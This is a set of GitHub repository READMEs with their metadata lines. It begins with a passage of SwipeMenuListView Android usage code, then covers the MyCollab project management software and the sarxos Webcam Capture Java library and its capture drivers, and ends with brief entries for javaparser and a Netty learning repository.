openItem.setTitleSize(18); // set item title font color openItem.setTitleColor(Color.WHITE); // add to menu menu.addMenuItem(openItem); // create "delete" item SwipeMenuItem deleteItem = new SwipeMenuItem( getApplicationContext()); // set item background deleteItem.setBackground(new ColorDrawable(Color.rgb(0xF9, 0x3F, 0x25))); // set item width deleteItem.setWidth(dp2px(90)); // set a icon deleteItem.setIcon(R.drawable.ic_delete); // add to menu menu.addMenuItem(deleteItem); } }; // set creator listView.setMenuCreator(creator); ``` ### Step 3 * listener item click event ```java listView.setOnMenuItemClickListener(new OnMenuItemClickListener() { @Override public boolean onMenuItemClick(int position, SwipeMenu menu, int index) { switch (index) { case 0: // open break; case 1: // delete break; } // false : close the menu; true : not close the menu return false; } }); ``` ### Swipe directions ```java // Right mListView.setSwipeDirection(SwipeMenuListView.DIRECTION_RIGHT); // Left mListView.setSwipeDirection(SwipeMenuListView.DIRECTION_LEFT); ``` ### Create Different Menu * Use the ViewType of adapter ```java class AppAdapter extends BaseAdapter { ... @Override public int getViewTypeCount() { // menu type count return 2; } @Override public int getItemViewType(int position) { // current menu type return type; } ... } ``` * Create different menus depending on the view type ```java SwipeMenuCreator creator = new SwipeMenuCreator() { @Override public void create(SwipeMenu menu) { // Create different menus depending on the view type switch (menu.getViewType()) { case 0: // create menu of type 0 break; case 1: // create menu of type 1 break; ... } } }; ``` * Demo <p> <img src="https://raw.githubusercontent.com/baoyongzhang/SwipeMenuListView/master/demo3.gif" width="320" alt="Screenshot"/> </p> ### Other * OnSwipeListener ```java listView.setOnSwipeListener(new OnSwipeListener() { @Override public void onSwipeStart(int position) { // swipe start } @Override public void onSwipeEnd(int position) { // swipe end } }); ``` * open menu method for SwipeMenuListView ```java listView.smoothOpenMenu(position); ``` * Open/Close Animation Interpolator ```java // Close Interpolator listView.setCloseInterpolator(new BounceInterpolator()); // Open Interpolator listView.setOpenInterpolator(...); ``` <p> <img src="demo2.gif" width="320" alt="Screenshot"/> </p>

MyCollab/mycollab

An open source, free, high performance, stable and secure Java Application Business Platform of Project Management and Document

2014-01-30T15:43:08Z

# Free, open source Project Management software [](https://www.gnu.org/licenses/agpl-3.0.en.html) [](https://www.openhub.net/p/mycollab) [](https://travis-ci.org/MyCollab/mycollab) [](https://docs.mycollab.com/) [](https://github.com/MyCollab/mycollab/releases) ## Introduction MyCollab is the free and open source project management software. Intuitive UI, rich features, high performance and stable are the advantages compare with various popular tools in the market such as Redmine, Bugzilla, Mantis etc. This open source is included into a trusted commercial product that is deployed on hundreds of companies' servers. <table> <tr> <td align="center"> <a href="https://c2.staticflickr.com/8/7836/33297801958_8c403afca8_o.png" target="_blank" title="Project Dashboard"> <img src="https://c2.staticflickr.com/8/7836/33297801958_c3958e94ba_n.jpg" alt="Project Dashboard"> </a> <br /> <em>Project Dashboard</em> </td> <td align ="center"> <a href="https://c2.staticflickr.com/8/7918/47173080821_3352d05e2b_o.png" target="_blank" title="Ticket Dashboard"> <img src="https://c2.staticflickr.com/8/7918/47173080821_f6c092822e_n.jpg" alt="Ticket Dashboard"> </a> <br /> <em>Ticket Dashboard</em> </td> <td align="center"> <a href="https://c2.staticflickr.com/8/7868/46259674665_52e5d9ec03_o.png" target="_blank" title="Kanban Board"> <img src="https://c2.staticflickr.com/8/7868/46259674665_c80a0c15a7_n.jpg" alt="Kanban Board"> </a> <br /> <em>Kanban Board</em> </td> </tr> <tr> <td align="center"> <a href="https://c2.staticflickr.com/8/7874/46259716315_bd4269858d_o.png" target="_blank" title="Task View"> <img src="https://c2.staticflickr.com/8/7874/46259716315_44047af85e_n.jpg" alt="Task View"> </a> <br /> <em>Task View</em> </td> <td align="center"> <a href="https://c2.staticflickr.com/8/7896/47173858441_f2395a1b7d_o.png" target="_blank" title="Members"> <img src="https://c2.staticflickr.com/8/7896/47173858441_3b4c77990f_n.jpg" alt="Members"> </a> <br /> <em>Members</em> </td> <td align="center"> <a href="https://c2.staticflickr.com/8/7862/40209055153_0a16241b1b_o.png" target="_blank" title="Settings"> <img src="https://c2.staticflickr.com/8/7862/40209055153_54a427e593_n.jpg" alt="Settings"> </a> <br /> <em>Settings</em> </td> </tr> </table> New features, enhancements, and updates appear on a regular basis. Pull requests and bug reports are always welcome! Visit our website https://www.mycollab.com/ to get a free trial of the premium service. ## Features MyCollab provides the rich set features of Project Management, Customer Management module and online collaboration methods. * Project Management * Activity stream and audit logging * Kanban board * Roadmap view * Issues Management * Tasks and dependencies management * Milestones * Time tracking (for premium users only) * Invoice management (for premium users only) * Risk Management (For premium users only) * People and Permission management * Reporting We use MyCollab in our daily jobs to manage our customers information, projects. It is deployed in the production environment of our premium users, and we supported several organizations to deploy this community version on their servers as well. We take care of our open source edition similar than we do for our premium product, in fact both of them use the same code base structure. So feel free to use it in your business jobs! ## System Requirements MyCollab requires a running Java Runtime Environment (8 or greater), Java command should be presented in PATH environment and MySQL (InnoDB support recommended). * Java Runtime Environment 8+: MyCollab could run when any JVM compatible platform such as Oracle JRE or OpenJDK. * MySQL database, version 5.6+: the higher version is recommended * 1 GB RAM minimum, 2 GB RAM recommended ## Installation 1. Download MyCollab binary - https://www.mycollab.com/self-hosted/ 2. Follow installation guideline at https://docs.mycollab.com/getting-started/installation/ If you need to understand the more MyCollab advanced configuration settings, please visit the link https://docs.mycollab.com/getting-started/configuration/. You will finish reading and understanding in a matter of minutes. If you want to customize MyCollab, following links are useful to you: * Setup MyCollab projects with IntelliJ https://docs.mycollab.com/development/setup-mycollab-projects-with-intellij-ide/ * How to customize MyCollab https://docs.mycollab.com/development/customize-mycollab/ ## Support Contact the MyCollab team at: * Our growing FAQ https://docs.mycollab.com/faq/ * Our help page [http://support.mycollab.com/](https://mycollab.userecho.com/en/) * Our web form [https://www.mycollab.com/contact/](https://www.mycollab.com/contact/) ## License & Author * MyCollab community is licensed with Affero GPL v3. For license terms, see https://www.gnu.org/licenses/agpl-3.0.en.html * You can try MyCollab on-demand edition on site https://www.mycollab.com

sarxos/webcam-capture

The goal of this project is to allow integrated or USB-connected webcams to be accessed directly from Java. Using provided libraries users are able to read camera images and detect motion. Main project consist of several sub projects - the root one, which contains required classes, build-in webcam driver compatible with Windows, Linux and Mac OS, which can stream images as fast as your camera can serve them (up to 50 FPS). Main project can be used standalone, but user is able to replace build-in driver with different one - such as OpenIMAJ, GStreamer, V4L4j, JMF, LTI-CIVIL, FMJ, etc.

2012-05-25T20:26:28Z

# Webcam Capture API This library allows you to use your build-in or external webcam directly from Java. It's designed to abstract commonly used camera features and support various capturing frameworks. [](http://search.maven.org/#artifactdetails|com.github.sarxos|webcam-capture|0.3.10|bundle) [](https://travis-ci.org/sarxos/webcam-capture) [](https://coveralls.io/r/sarxos/webcam-capture?branch=master) ## Rationale Assume a situation when your code depends on some capturing framework, but suddenly you have to drop it and use a different, maybe newer one (e.g. replace archaic JMF with newest GStreamer). By doing this you will have to rewrite significant piece of your code because these frameworks are completely different and not compatible at all. This is where Webcam Capture API comes to save the world - it was created to remove the burden of such situations so you do not have to rewrite your code ever again, but instead you can simply switch the driver class to different one. ## Features * Simple, thread-safe and non-blocking API, * No additional software required, * Supports multiple platforms (Windows, Linux, Mac OS, etc) and various architectures (32-bit, 64-bit, ARM), * Get images from build-in or USB-connected PC webcams, * Get images from IP / network cameras (as MJPEG or JPEG), * Offers ready to use motion detector, * All required JARs Available in Maven Central, * Offers possibility to expose images as MJPEG stream, * It is available as Maven dependency or standalone ZIP binary (with all dependencies included), * Swing component to display video feed from camera, * Swing component to choose camera (drop down), * Multiple capturing frameworks are supported: * [OpenIMAJ][]; * [LTI CIVIL][LTI-CIVIL]; * [Java Media Framework (JMF)][JMF]; * [Freedom for Media in Java (FMJ)][FMJ]; * [OpenCV][] via [JavaCV][]; * [VLC][] via [vlcj][]; * [V4L][] via [v4l4j][V4L4j]; * [GStreamer][] (0.10.x only) via [gstreamer-java][gstreamerj]; * [FFmpeg][]; * MJPEG IP Cameras; * [Raspicam] via [Cli][Picam]; The latest stable version is: **```0.3.12```** The latest development version is: **```0.3.13-SNAPSHOT```** ## Raspberry PI _(and other ARM devices)_ The latest version (0.3.10) does not work on ARM just out of the box. To make it working you need to replace version 0.6.2 of BridJ JAR by the [0.6.3-SNAPSHOT](https://oss.sonatype.org/service/local/artifact/maven/redirect?r=snapshots&g=com.nativelibs4java&a=bridj&v=0.6.3-SNAPSHOT) or newer [bridj-0.7-20140918](http://maven.ecs.soton.ac.uk/content/groups/maven.openimaj.org/com/nativelibs4java/bridj/0.7-20140918/bridj-0.7-20140918.jar). Moreover, lately Jonathon Hare from OpenIMAJ team, found a problem described in [bridj #525](https://github.com/ochafik/nativelibs4java/issues/525) which causes problems on armhf architecture. ## Maven The latest stable version is [available](http://search.maven.org/#artifactdetails|com.github.sarxos|webcam-capture|0.3.12|bundle) in Maven Central: ```xml <dependency> <groupId>com.github.sarxos</groupId> <artifactId>webcam-capture</artifactId> <version>0.3.12</version> </dependency> ``` Snapshot version: ```xml <repository> <id>Sonatype OSS Snapshot Repository</id> <url>http://oss.sonatype.org/content/repositories/snapshots</url> </repository> ``` ```xml <dependency> <groupId>com.github.sarxos</groupId> <artifactId>webcam-capture</artifactId> <version>0.3.13-SNAPSHOT</version> </dependency> ``` ## Download The newest stable version can be downloaded as separated ZIP binary. This ZIP file contains Webcam Capture API itself and all required dependencies (in ```libs``` directory). Click on the below link to download it: [webcam-capture-0.3.12-dist.zip](https://github.com/sarxos/webcam-capture/releases/download/webcam-capture-parent-0.3.12/webcam-capture-0.3.12-dist.zip) The latest development version JAR (aka SNAPSHOT) can be downloaded [here](https://oss.sonatype.org/service/local/artifact/maven/redirect?r=snapshots&g=com.github.sarxos&a=webcam-capture&v=0.3.13-SNAPSHOT). ## Contribution If you have strong will, spare time, knowledge or even some small amount of money you would like to spent for good purpose you can help developing this awesome Webcam Capture API and make it even better! Several kinds of contributions are very welcome: ##### Star Project If you think this project is great, you would like to help, but you don't know how - you can become project's stargazer. By starring you're making project more popular. Visit [this](https://github.com/blog/1204-notifications-stars) link if you would like to learn more about how notifications and stars works on Github. ##### Report Bug or Feature If you've found a bug or you've came-up with some fantastic feature which can make Webcam Capture a better API to use, don't hesitate to [create new issue](https://github.com/sarxos/webcam-capture/issues/new) where you can describe in details what the problem is, or what would you like to improve. ##### Perform Tests Since Webcam Capture use some part of native code, it's very hard to cover all supported operating systems. I'm always testing it on 64-bit Ubuntu Linux, Windows XP and Vista (both 32-bit), but I have no possibility to test on Raspberry Pi, Mac OS and 32-bit Linux. Please help and test on those systems if you have such possibility. ##### Write Code If you know Java or C++ you can help developing Webcam Capture by forking repository and sending pull requests. Please visit [this](http://stackoverflow.com/questions/4384776/how-do-i-contribute-to-others-code-in-github) link if you don't know how to contribute to other's code at Github. ##### Donate People have expressed a wish to donate a little money. Donating won't get you anything special, other than a warm feeling inside, and possibly urge me to produce more freely available material for Webcam Capture project. You can donate via [PayPal](https://www.paypal.com), just click [donate](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=UYMENK76CSYZU) button available below - it will redirect you to the secured PayPal page where you can provide donation amount (there is no minimal value). [](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=UYMENK76CSYZU) ## Hello World Code below will capture image from your default webcam and save it in ```hello-world.png``` file: ```java Webcam webcam = Webcam.getDefault(); webcam.open(); ImageIO.write(webcam.getImage(), "PNG", new File("hello-world.png")); ``` ## More Examples! Below are the very pretty basic examples demonstrating of how Webcam Capture API can be used in the Java code. All can be found in the project source code. Please note that some of those examples may use the newest API which has not yet been released to maven Central. In such a case please make sure you are using the newest Webcam Capture API SNAPSHOT. * [How to detect webcam](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/DetectWebcamExample.java) * [How to take picture and save to file](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/TakePictureExample.java) * [How to display image from webcam in Swing panel (basic)](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/WebcamPanelExample.java) * [How to display image from webcam in Swing panel (more advanced)](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/WebcamViewerExample.java) * [How to listen on camera connection / disconnection events](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/WebcamDiscoveryListenerExample.java) * [How to configure capture resolution](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/TakePictureDifferentSizeExample.java) * [How to configure non-standard capture resolution (e.g. HD720)](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/CustomResolutionExample.java) * [How to save captured image in PNG / JPG / GIF / BMP etc](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/DifferentFileFormatsExample.java) * [How to capture with many parallel threads](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/ConcurrentThreadsExample.java) * [How to detect motion (text mode only)](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/DetectMotionExample.java) * [How to detect motion with Do-Not-Engage zone](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/DetectMotionDoNotEngageZoneExample.java) * [How to perform multipoint motion detection](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/MultipointMotionDetectionExample.java) * [How to display images from multiple IP cameras exposing pictures in JPG format](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture-drivers/driver-ipcam/src/examples/java/JpegDasdingStudioExample.java) * [How to display image from IP camera exposing MJPEG stream](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture-drivers/driver-ipcam/src/examples/java/MjpegLignanoBeachExample.java) * [How to use composite driver to display both, build-in and IP camera images](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture-drivers/driver-ipcam/src/examples/java/DualNativeAndMjpegWebcamExample.java) * [How to work with Raspberry Pi (camera module or UVC device)](https://github.com/sarxos/webcam-capture/wiki/How-To-Configure-Raspberry-Pi) * [How to flip (mirror) image displayed in ```WebcamPanel```](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/WebcamPanelFlippingExample.java) * [How to rotate image displayed in ```WebcamPanel```](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/WebcamPanelRotationExample.java) * [How to rotate image from camera with ```WebcamImageTransformer```](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/ImageTransformerRotationExample.java) * [How to use AdaptiveSizeWriter to compress images](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture/src/example/java/AdaptiveSizeWriterExample.java) * [How to use Webcam Capture with DroidCam application (smartphone working as IP camera)](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture-drivers/driver-ipcam/src/examples/java/DroidCamExample.java) And here are some more advanced examples, few with quite fancy GUI. * [How to detect and mark human faces](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-examples/webcam-capture-detect-face) * [How to use ```WebcamMotionDetector``` with the ```JFrame``` window](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture-examples/webcam-capture-motiondetector) * [How to use webcam capture in Java Applet](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-examples/webcam-capture-applet) * [How to use ```WebcamPanel.Painter``` interface to draw effects on ```WebcamPanel``` component](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-examples/webcam-capture-painter) * [How to read QR / DataMatrix and Bar codes (2 examples)](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-examples/webcam-capture-qrcode) * [How to record video from webcam using Xuggler framework **(deprecated)**](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture-examples/webcam-capture-video-recording/src/main/java/com/github/sarxos/webcam/Encoder.java) * [How to record video from webcam using Humble Video framework](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture-examples/webcam-capture-video-recording-humble/src/main/java/RecordAndEncodeVideo.java) * [How to transcode webcam images into live h264 stream](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-examples/webcam-capture-live-streaming) * [How to use Webcam Capture API in JavaFX](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-examples/webcam-capture-javafx) * [How to use Webcam Capture API in JavaFX and FXML](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-examples/webcam-capture-javafx-fxml) * [How to use Webcam Capture API as JavaFX Service and View](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-examples/webcam-capture-javafx-service) * [How to use Webcam Capture API in SWT](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-examples/webcam-capture-swt-awt) * [How to use ```WebcamImageTransformer``` to draw effects directly on image from camera](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-examples/webcam-capture-transformer) * [How to use Webcam Capture API and WebSockets to transport images from server to web client](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-examples/webcam-capture-websockets) * [How to use Webcam Capture API from Akka](https://github.com/sarxos/webcam-capture/blob/master/webcam-capture-examples/webcam-capture-akka/src/main/java/Application.java) ## YouTube Tutorials Video series by [Genuine Coder](https://www.youtube.com/GenuineCoder) for Webcam Capture beginners: * [Java Webcam Capture #1: Introduction and Capturing with 3 lines of code](https://www.youtube.com/watch?v=2BHyL_XK8YQ) * [Java Webcam Capture #2: Take Images with Different Resolutions](https://www.youtube.com/watch?v=dL4MVWJjVVY) * [Java Webcam Capture #3: Video Feed from Webcam using Thread](https://www.youtube.com/watch?v=RkzfFGP60fw) * [Java Webcam Capture #4: Video Feed from Webcam (Easy Way)](https://www.youtube.com/watch?v=amMaYzl45Pw) ## Capture Drivers Webcam Capture API defines ```WebcamDriver``` interface which has been already implemented in several _capturing drivers_ build on top of well-known frameworks used to work with multimedia and cameras. Complete list can be found below. By default (if other driver is not specified) library uses **default driver** which consists of small, refined part of awesome [OpenIMAJ](http://sourceforge.net/p/openimaj/home/OpenIMAJ/) framework wrapped in thread-safe container. However, there are more ready-to-use drivers which can be used as a replacement or addition to the default one. By utilizing those drivers Webcam Capture can be extended with various new features (e.g. IP camera support). List of additional capture drivers includes: | Driver Name | Stable | Central | Description | |-----------------|--------|---------|-----------------------------------------| | [ipcam][] | yes | yes | Driver for IP / network camera | | [fswebcam][] | yes | yes | Driver for [FSWebcam][] [CLI][] tool | | [gstreamer][] | yes | yes | Driver for [GStreamer][] framework | | [openimaj][] | yes | yes | Driver for [OpenIMAJ][] framework | | [v4l4j][] | yes | no | Driver for [V4L4j][] library | | [jmf][] | yes | yes | Driver for [JMF][] / [FMJ][] frameworks | | [lti-civil][] | yes | yes | Driver for [LTI-CIVIL][] library | | [vlcj][] | yes | yes | Driver for [vlcj][] library | | [javacv][] | yes | yes | Driver for [JavaCV][] library | | [ffmpeg-cli][] | poc | no | Driver for [FFmpeg][] [CLI][] tool | | [raspicam][] | poc | no | Driver for [Raspicam][] [CLI][] [PIcam][] tool | * Central = available in Maven Central Repository * _poc_ = Proof of Concept [FSWebcam]: http://www.firestorm.cx/fswebcam/ [GStreamer]: http://gstreamer.freedesktop.org/ [gstreamerj]: https://github.com/gstreamer-java [OpenIMAJ]: http://www.openimaj.org/ [V4L4j]: http://code.google.com/p/v4l4j/ [JMF]: http://www.oracle.com/technetwork/java/javase/download-142937.html [FMJ]: http://fmj-sf.net/ [LTI-CIVIL]: http://lti-civil.org/ [JavaCV]: https://github.com/bytedeco/javacv/ [VLC]: http://www.videolan.org/vlc/ [VLCj]: https://github.com/caprica/vlcj [V4L]: https://en.wikipedia.org/wiki/Video4Linux [FFmpeg]: http://www.ffmpeg.org/ [OpenCV]: http://opencv.org/ [CLI]: http://en.wikipedia.org/wiki/Command-line_interface/ [Raspicam]: https://www.raspberrypi.org/documentation/usage/camera/raspicam/ [Picam]: https://github.com/caprica/picam [fswebcam]: https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-fswebcam [ipcam]: https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-ipcam [gstreamer]: https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-gstreamer [openimaj]: https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-openimaj [v4l4j]: https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-v4l4j [jmf]: https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-jmf [lti-civil]: https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-lti-civil [javacv]: https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-javacv [vlcj]: https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-vlcj [ffmpeg-cli]: https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-ffmpeg-cli ### Default Driver If no other driver is specified, the default driver will be used. It consists of small, refined part of awesome [OpenIMAJ][] framework wrapped in thread-safe container. ### IP Camera Driver This capture driver gives possibility to access IP camera devices and handle images in form of JPEG pictures or MJPEG streams. Maven dependency: ```xml <dependency> <groupId>com.github.sarxos</groupId> <artifactId>webcam-capture-driver-ipcam</artifactId> <version>{webcam-capture-version-here}</version> </dependency> ``` How to use: ```java Webcam.setDriver(new IpCamDriver()); ``` More details and binaries download can be found on dedicated [webcam-capture-driver-ipcam](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-ipcam) page. ### Fswebcam Driver This capture driver gives possibility to use CLI tool called ```fswebcam``` (written by Philip Heron) to access UVC devices connected to the computer. It works only on *nix and requires tool to be installed on the environment where driver is used. Maven dependency: ```xml <dependency> <groupId>com.github.sarxos</groupId> <artifactId>webcam-capture-driver-fswebcam</artifactId> <version>{webcam-capture-version-here}</version> </dependency> ``` How to use: ```java Webcam.setDriver(new FsWebcamDriver()); ``` More details on how to use, how to install ```fswebcam``` and where binaries can be downloaed, can be found on dedicated [webcam-capture-driver-fswebcam](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-fswebcam) page. ### GStreamer Driver This capture driver gives possibility to use [GStreamer][] to access UVC camera devices connected to computer. It works on Windows and Linux only. Maven dependency: ```xml <dependency> <groupId>com.github.sarxos</groupId> <artifactId>webcam-capture-driver-gstreamer</artifactId> <version>{webcam-capture-version-here}</version> </dependency> ``` How to use: ```java Webcam.setDriver(new GStreamerDriver()); ``` More details on how to use, how to install GStreamer and where binaries can be downloaded, can be found on dedicated [webcam-capture-driver-gstreamer](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-gstreamer) page. ### OpenIMAJ Driver This capture driver gives possibility to use [OpenIMAJ][] to access UVC camera devices connected to the computer. Maven dependency: ```xml <dependency> <groupId>com.github.sarxos</groupId> <artifactId>webcam-capture-driver-openimaj</artifactId> <version>{webcam-capture-version-here}</version> </dependency> ``` How to use: ```java Webcam.setDriver(new OpenImajDriver()); ``` More details on how to use it and where binaries can be downloaded, can be found on dedicated [webcam-capture-driver-openimaj](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-openimaj) page. ### V4L4j Driver This is capture driver which uses [V4L4j][] project to access UVC camera devices. It works on Linux only and it seems like it is most suitable for use on Raspberry Pi. Maven dependency: ```xml <dependency> <groupId>com.github.sarxos</groupId> <artifactId>webcam-capture-driver-v4l4j</artifactId> <version>{webcam-capture-version-here}</version> </dependency> ``` How to use: ```java Webcam.setDriver(new V4l4jDriver()); ``` More details on how to use it and where necessary binaries can be downloaded, can be found on dedicated [webcam-capture-driver-v4l4j](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-v4l4j) page. ### JMF Driver This is capture driver which uses [JMF][] (Java Media Framework) to access UVC webcam devices. The JMF needs to be installed and configured on the PC before this driver can be used. It can also be used alternatively with the [FMJ][] project. Maven dependency: ```xml <dependency> <groupId>com.github.sarxos</groupId> <artifactId>webcam-capture-driver-jmf</artifactId> <version>{webcam-capture-version-here}</version> </dependency> ``` How to use: ```java Webcam.setDriver(new JmfDriver()); ``` More details on how to use it, install, and where necessary binaries can be downloaded, can be found on dedicated [webcam-capture-driver-jmf](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-jmf) page. ### LTI-CIVIL Driver This is capture driver designed to leverage capabilities of [LTI-CIVIL](http://sourceforge.net/projects/lti-civil/) project (by Larson Technologies Inc.) and use it to access wide range of UVC devices. It works on 32-bit architectures only. Maven dependency: ```xml <dependency> <groupId>com.github.sarxos</groupId> <artifactId>webcam-capture-driver-lti-civil</artifactId> <version>{webcam-capture-version-here}</version> </dependency> ``` How to use it: ```java Webcam.setDriver(new LtiCivilDriver()); ``` More details on how to use it, and where necessary binaries can be downloaded, can be found on dedicated [webcam-capture-driver-lti-civil](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-lti-civil) page. ### VLCj Driver This is capture driver which uses [VLCj][] library from [Caprica Software Limited](http://www.capricasoftware.co.uk/) to gain access to the UVC camera device. Maven dependency: ```xml <dependency> <groupId>com.github.sarxos</groupId> <artifactId>webcam-capture-driver-vlcj</artifactId> <version>{webcam-capture-version-here}</version> </dependency> ``` How to use it: ```java Webcam.setDriver(new VlcjDriver()); ``` More details on how to use it, how to install, and where necessary binaries can be downloaded, can be found on dedicated [webcam-capture-driver-vlcj](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-vlcj) page. ### JavaCV Driver This is capture driver which uses [JavaCV][] binding for [OpenCV](https://opencv.org/) to gain access to the UVC camera device. Maven dependency: ```xml <dependency> <groupId>com.github.sarxos</groupId> <artifactId>webcam-capture-driver-opencv</artifactId> <version>{webcam-capture-version-here}</version> </dependency> ``` or if you are using webcam-capture < 0.3.12: ```xml <dependency> <groupId>com.github.sarxos</groupId> <artifactId>webcam-capture-driver-javacv</artifactId> <version>{webcam-capture-version-here}</version> </dependency> ``` If you only target specific platforms take a look at [Reducing the Number of Dependencies](https://github.com/bytedeco/javacpp-presets/wiki/Reducing-the-Number-of-Dependencies). How to use it: ```java Webcam.setDriver(new JavaCvDriver()); ``` More details on how to use it, how to install, and where necessary binaries can be downloaded, can be found on dedicated [webcam-capture-driver-javacv](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-opencv) page. ### FFmpeg CLI Driver This is capture driver which uses ```ffmpeg``` [CLI][] tool from [FFmpeg][] to access UVC camera device. Maven dependency: ```xml <dependency> <groupId>com.github.sarxos</groupId> <artifactId>webcam-capture-driver-ffmpeg-cli</artifactId> <version>{webcam-capture-version-here}</version> </dependency> ``` How to use it: ```java Webcam.setDriver(new FFmpegCliDriver()); ``` More details on how to use it, how to install, and where necessary binaries can be downloaded, can be found on dedicated [webcam-capture-driver-ffmpeg-cli](https://github.com/sarxos/webcam-capture/tree/master/webcam-capture-drivers/driver-ffmpeg-cli) page. ## History I initially started working on Webcam Capture as a simple proof-of-concept after I read [Andrew Davison](http://fivedots.coe.psu.ac.th/~ad/)'s fantastic book entitled [Killer Game Programming](http://www.amazon.com/Killer-Game-Programming-Andrew-Davison/dp/0596007302/ref=sr_1_1?s=books&ie=UTF8&qid=1360352393&sr=1-1&keywords=killer+game+programming) (which is also available [online](http://fivedots.coe.psu.ac.th/~ad/jg/)). Thank you Andrew! Later I found that there is a complete mess in Java APIs allowing you to capture images from webcams. Once you choose specific API you cannot change it without modifying large parts of the code. I decided to change this situation and write general purpose wrapper for various different APIs (like JMF, OpenCV, OpenIMAJ, LTI-CIVIL, VLC). In such a way, Webcam Capture as we know it today, was brought to life. Today you can change underlying frameworks just by replacing webcam driver (one line code change). If there is no driver for particular framework, it's very easy to write it yourself. ## License Copyright (C) 2012 - 2017 Bartosz Firyn (https://github.com/sarxos) and contributors Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 

javaparser/javaparser

Java 1-18 Parser and Abstract Syntax Tree for Java with advanced analysis functionalities.

2011-10-30T14:03:44Z

sanshengshui/netty-learning-example

:egg: Netty实践学习案例，见微知著！带着你的心，跟着教程。我相信你行欧。

2018-09-18T05:45:24Z

